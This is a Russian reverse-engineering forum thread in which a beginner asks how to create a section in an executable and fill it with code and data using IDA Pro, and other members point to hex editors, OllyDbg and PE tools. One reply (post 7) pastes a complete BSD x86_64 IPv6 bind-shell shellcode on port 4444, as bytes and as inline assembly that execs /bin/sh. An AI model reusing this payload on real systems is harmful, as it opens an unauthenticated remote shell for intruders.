IDA Pro создать сегмент в файле

Тема в разделе "WASM.BEGINNERS", создана пользователем Animelubitel, 21 июл 2017.

  1. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    1)Спасибо а что такое оверлэй?
    Все непонятные слома можно узнать через Гугл - например так
    https://www.google.ru/?gws_rd=ssl#newwindow=1&q=site:ru+оверлэй+exe
    И сразу первая ссылка и ответ на вопрос - https://exelab.ru/f/index.php?action=vthread&forum=5&topic=20739
    2) Типа я правильно понимаю? сегмент это кусок не видимый как вы сказали(создается если нет места к примеру вообще), а секции это куски в сегментах, из создаешь и их уже видно или я туплю?
    Читайте книжки, я Вам показал что и где.
    3) Соблюдайте правила русского языка.
    4) Я устал :lazy2: Пойду посплю.
     
  2. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    Не игнорте, пожалуйста ответе кто знает
    Я разобрался с сегментом и EntryPoint
    Как писать код
    Просто теория
    я создал фенкциб внутри секции sub_6578568, в ней локальные метки loc_54535636 и.т.д.
    можно ли в sub писать код, текст(например db 'a.txt',0), структуру, то есть в одном sub, все для удобства и красоты кода?Напишите подробно как пожалуйста
    то же и с loc
    можно ли в loc писать код, текст(например db 'a.txt',0), структуру, то есть в одном loc, все для удобства и красоты кода?Напишите подробно как пожалуйста
     
  3. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    Научитесь для начало грамотно и красиво писать!!! Если по русскому 3, а то и 2, то Вам сюда - https://text.ru/spelling. Исправьте свой текст и попробуйте снова.
     
  4. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    Извините, что не понятного в моим русском? Зачем придираться?
     
  5. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    Извините, вы правы , просто у меня клава английская. без русских букв
    Я создал функцию внутри секции(sub_6578568), в ней локальные метки(loc_54535636 и.т.д.), можно ли в sub писать (код, текст, например db 'a.txt',0 , структуру) , то есть в одном sub, все для удобства и красоты кода?
    То же и с "loc"
    можно ли в loc писать (код, текст, например db 'a.txt',0 , структуру) , то есть в одном loc, все для удобства и красоты кода?
    Напишите подробно как пожалуйста
    Надеюсь понятно
     
  6. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    Уточняю вопрос выше
    Я создал секцию, вопросы:
    Как вписать в созданную секцию код разного типа(переменные разного типа), как написано выше(см. цитата), примеры:
    Начало секции
    sub
    константы
    текст или текстовые переменные(hello, 0)
    структуры
    и.т.д
    то есть разный код и данные
    sub
    Конец секции

    или

    Начало секции
    sub
    loc1
    константы
    текст или текстовые переменные(hello, 0)
    структуры
    и.т.д
    то есть разный код и данные
    loc2
    константы
    текст или текстовые переменные(hello, 0)
    структуры
    и.т.д
    то есть разный код и данные
    sub
    Конец секции

    или просто код

    Начало секции
    константы
    текст или текстовые переменные(hello, 0)
    структуры
    и.т.д
    то есть разный код и данные
    Конец секции
     
  7. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    Пишите код на асме, ассемблируете, у Вас получается RAW код, берете его в HEX виде и вставляете в помощью любого HEX редактора. Можно на живую прям в Олли сделать это и сохранить файл, но там уже имён не будет только адреса. Чито Вы там вообще мутите?

    Код (C++):
    1. /*
    2. BSD x86_64 ipv6 bind_tcp shellcode, 95 bytes
    3. Balazs Bucsay
    4. @xoreipeip | earthquake <at@> rycon <do.t> hu
    5. http://rycon.hu
    6. port = 4444
    7. ip = ::1
    8. char shellcode[] = \
    9. "\x6a\x61\x58\x99\x6a\x1c\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52\x52\x52\x48"
    10. "\xba\x00\x1c\x11\x5c\x00\x00\x00\x00\x52\x48\x89\xe6\x6a\x1c\x5a\x04\x4c"
    11. "\x0f\x05\x48\x31\xf6\x6a\x6a\x58\x0f\x05\x99\x04\x1e\x0f\x05\x48\x89\xc7"
    12. "\x6a\x5a\x58\x0f\x05\xff\xc6\x04\x5a\x0f\x05\xff\xc6\x04\x59\x0f\x05\x52"
    13. "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x52\x57\x48\x89"
    14. "\xe6\x04\x39\x0f\x05";
    15. */
    16.  
    17. int main()
    18. {
    19.     asm(
    20.     // socket(28,1,0);
    21.     "    push $97        \n"
    22.     "    pop %rax        \n"
    23.     "    cltd            \n"
    24.     "    push $0x1c        \n"
    25.     "    pop %rdi        \n"
    26.     "    push $0x01        \n"
    27.     "    pop %rsi        \n"
    28.     "    syscall               \n"
    29.    
    30.     // bind(s, struct, 28)
    31.     "    xchg %rax, %rdi        \n"
    32.     "    push %rdx        \n"
    33.     "    push %rdx        \n"
    34.     "    push %rdx        \n"
    35.     "    mov $0x000000005c111c00, %rdx\n"
    36.     "    push %rdx        \n"
    37.     "    mov %rsp, %rsi      \n"
    38.     "    push $28          \n"
    39.     "    pop %rdx        \n"
    40.     "     add $76, %al        \n"
    41.     "    syscall               \n"
    42.  
    43.     //listen(s, 0)
    44.     "    xor %rsi, %rsi        \n"
    45.     "    push $106        \n"
    46.     "    pop %rax        \n"
    47.     "    syscall               \n"
    48.  
    49.     // accept(s, 0, 0)
    50.     "    cltd            \n"
    51.     "    add $30, %al        \n"
    52.     "    syscall               \n"
    53.  
    54.     // dup2(c, 0);
    55.     "    mov %rax, %rdi        \n"
    56.     "    push $90        \n"
    57.     "    pop %rax        \n"
    58.     "    syscall               \n"
    59.  
    60.     // dup2(c, 1);
    61.     "    inc %esi        \n"
    62.     "    add $90, %al        \n"
    63.     "    syscall               \n"
    64.  
    65.     // dup2(c, 2);
    66.     "    inc %esi        \n"
    67.     "    add $89, %al        \n"
    68.     "    syscall               \n"
    69.  
    70.     // execve("/bin/sh", {"/bin/sh", 0}, 0)
    71.     "     push %rdx        \n"
    72.     "    mov $0x68732f6e69622f2f, %rdi\n"
    73.     "    push %rdi        \n"
    74.     "    mov %rsp, %rdi        \n"
    75.     "    push %rdx        \n"
    76.     "    push %rdi        \n"
    77.     "    mov %rsp, %rsi        \n"
    78.     "    add $57, %al        \n"
    79.     "    syscall               \n"
    80.     );
    81. }
     
  8. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    я имею ввиду в ollydbg https://exelab.ru/rar/htm.php?n=084 нажимаешь на строчку и вписываешь то что нужно
    я просто хочу ввести данные в созданную секцию, только с помощью IDA pro
     
  9. Aoizora

    Aoizora Active Member

    Публикаций:
    0
    Регистрация:
    29 янв 2017
    Сообщения:
    362
    Это называется "недостаток знаний порождает изощренность".
    Если нужен доступ к данным из кода, загруженному по произвольному адресу, используй дельта-смещение.
     
  10. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
  11. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    ИМЕННО В IDA
     
  12. rmn

    rmn Well-Known Member

    Публикаций:
    0
    Регистрация:
    23 ноя 2004
    Сообщения:
    2.347
    ОНА НЕ ДЛЯ ЭТОГО.
     
  13. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    rmm
    а ollydbg для этого? (просто вопрос)
    а так спасибо, но подожду ответа yashechka (см. выше ответы #30, 31)
     
  14. rmn

    rmn Well-Known Member

    Публикаций:
    0
    Регистрация:
    23 ноя 2004
    Сообщения:
    2.347
    Animelubitel,
    Лучше меня послушай :)
    Да, обмазавшись скриптами и плагинами, из иды можно сделать редактор ехе, но это будет не раньше, чем ты научишься собирать ехе вручную как линкер. Из коробки она такого не умеет.
     
  15. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    я просто хочу ввести данные в созданную секцию, только с помощью IDA pro, редактировать же можно с помошью плагина keypath можно, чем IDA Pro хуже ollydbg?
    Для yashechka (см. выше ответы #30, 31)
     
  16. rmn

    rmn Well-Known Member

    Публикаций:
    0
    Регистрация:
    23 ноя 2004
    Сообщения:
    2.347
    Ну, для начала тем, что она не умеет сохранять изменения в ехе-фаел. Можно только diff-файл сделать, где будут указаны байты оригинального файла, которые ты изменил (т.е. ничего про добавленный сегмент ты там не увидишь - это чисто виртуальная сущность, которая живет только в бд иды).
     
  17. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    Про сегменты то да, модно прогой PETools, а изменения в коде после keypath можно через меню edit-path program-Apply pathes to input file? может и свой код в созданную секцию как то добавить можно?
    Для yashechka (см. выше ответы #30, 31)
     
  18. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    Для yashechka ответте подалуйста на ответы (см. выше ответы #30, 31) +
    ollydbg умеет вводить данные в созданную секцию, а IDA pro? Чем IDA Pro хуже ollydbg?
    я просто хочу ввести данные в созданную секцию, только с помощью IDA pro(см. выше ответы #26)? Может ли она вообще вводить данные, как ollydbg? Может есть какие нибудь плагины или скрипты для этого
     
  19. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    Вы либо стебётесь, либо я не знаю что.
    Что Вы пристали к Иде, она по функционалу - дизассемблер, навесьте на неё куча плагинов и получиться монстр, который много что умеет. Если Вы такой упёртый, то правьте файл в её hex редактоторе, правьте секцию, а потом заголовок. Вижу Вы простых путей не ищете.
     
  20. Animelubitel

    Animelubitel Member

    Публикаций:
    0
    Регистрация:
    21 июл 2017
    Сообщения:
    36
    По функционалу дизассемблер а IDA Pro что?Чем IDA Pro хуже ollydbg?я не стебаюсь